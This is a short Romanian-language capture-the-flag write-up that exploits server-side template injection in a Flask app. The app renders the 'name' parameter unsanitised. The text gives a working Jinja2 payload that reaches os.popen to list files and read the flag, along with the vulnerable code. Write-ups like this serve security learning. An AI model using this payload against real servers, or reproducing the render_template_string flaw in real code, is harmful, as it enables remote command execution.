

whats-your-name-part2

Acesta este continuarea la prima parte deci ma astept din nou la niste SSTI. Daca intram pe pagina observ ca serverul foloseste python(acest lucru fiind observat si daca facem un request folosind curl):

```
[masquerade@parrot]-[~/Downloads]
$ curl -I http://34.159.151.77:32386/
HTTP/1.0 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 0
Server: Werkzeug/1.0.1 Python/2.7.17
Date: Wed, 26 Feb 2025 15:12:25 GMT
```

Daca incercam sa ne uitam putin la cod observam ca avem nevoie de un parametru "name" prin care cel mai probabil o sa facem payloadul de SSTI.

File "/home/unbreakable/app.py", line 9, in home

```
app = Flask(__name__)

@app.route("/")
def home():
    output = request.args.get('name')
    output = render_template_string(output)
    if output:
        pass
    else:
        output = "What's your name? Part 2"
    return output
```

So ce facem acum? Avem 2 posibilitati ori cautam un payload mai general ori cautam sa vedem ce template foloseste backendul.

Incercam cele mai populare templates (care merg cu python asta din curl):

1.Jinja2 (Python):

```
{{ '.__class__.__mro__[1].__subclasses__()' }}
```

2.Django (Python):

```
{{ "test"|add:"ing" }}
```

3.Flask (Python - Jinja2 sub capotă):

```
{{ config }}
```

Observam de aici ca daca folosim payloadul din Jinja o sa returneze un raspuns, nu eroare.

```
← → ↺ 34.159.151.77:32386/?name={{ '.__class__.__mro__[1].__subclasses__()' }}
[<type 'str'>, <type 'unicode'>]
```

Deci acum ca stim ce template are mai trebuie sa facem un payload de a lista si citi:

```
?name={{request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27ls  
%27).read()}} Care returneaza ==>> flag si app.py
```

```
2:{{request.application.__globals__.__builtins__.__import__('os').popen('cat  
flag').read()}} Flag:
```

CTF{75df3454a132fcdd37d94882e3.....1ed70f8dd88195345aa874c63e63}

Trolled by masquerade8077